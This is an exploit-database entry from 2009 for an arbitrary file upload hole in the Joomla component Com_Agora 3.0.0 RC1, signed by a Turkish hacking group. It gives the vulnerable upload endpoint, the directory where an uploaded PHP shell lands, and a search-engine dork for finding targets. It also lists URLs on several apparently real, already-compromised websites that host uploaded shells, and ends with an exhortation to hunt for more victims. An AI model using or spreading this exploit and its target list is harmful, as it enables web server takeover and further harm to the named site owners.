Exploit Joomla! Component Com_Agora 3.0.0 RC1 - Arbitrary File Upload

[Exploiter]

EDB-ID

8811

Проверка EDB

1. Пройдено

Автор

BYALBAYX

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2009-05-26

@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
@~~===============TURKISH=================~~@

              _.--"""""--._
            .'             '.
           /                 \
          ;       C4TEAM      ;
          |                   |
          |                   |
          ;                   ;                   ByALBAYX
           \ (`'--,    ,--'`) /
            \ \  _ )  ( _  / /                 WWW.C4TEAM.ORG
             ) )(')/  \(')( (
            (_ `""` /\ `""` _)
             \`"-, /  \ ,-"`/                       
              `\ / `""` \ /`
               |/\/\/\/\/\|                      
               |\        /|
               ; |/\/\/\| ;
                \`-`--`-`/
                 \      /
                  ',__,'


@~~=======================================~~@
@~~=Script   : Joomla Component Com_Agora 3.0.0 RC1

@~~=S.Site   : http://joomlame.com

@~~=Demo     : http://joomlame.com/index.php?option=com_agora&task=upload

@~~=======================================~~@

@~~=Bulunan Delik:

@~~=http://c4team.org/ [Yol] /index.php?option=com_agora&task=upload

@~~=http://c4team.org/ [Yol] /components/com_agora/img/members/0/ [Shell.php]

@~~=Arama   : "inurl:com_agora"

@~~=http://kht.by.ru/Google.txt

@~~=Vs..


@~~=L!ve Demo:

@~~=http://joomlame.com/index.php?option=com_agora&task=upload
@~~=http://joomlame.com/components/com_agora/img/members/0/xporce.php

@~~=http://dogansar.org/index.php?option=com_agora&task=upload
@~~=http://dogansar.org/components/com_agora/img/members/0/xporce.php

@~~=http://pehlivanlibeldesi.com/index.php?option=com_agora&task=upload
@~~=http://pehlivanlibeldesi.com/components/com_agora/img/members/0/xx_byalbayx.php

@~~=http://sogutluagil.com/index.php?option=com_agora&task=upload
@~~=http://sogutluagil.com/components/com_agora/img/members/0/xporce.php

@~~=Vs..
@~~=======================================~~@

@~~=Haydi Bakalim Baya Site Var iyi bir server denk gelir google moogle cikarda unlu olursunuz  :D

@~~=:/

# milw0rm.com [2009-05-26]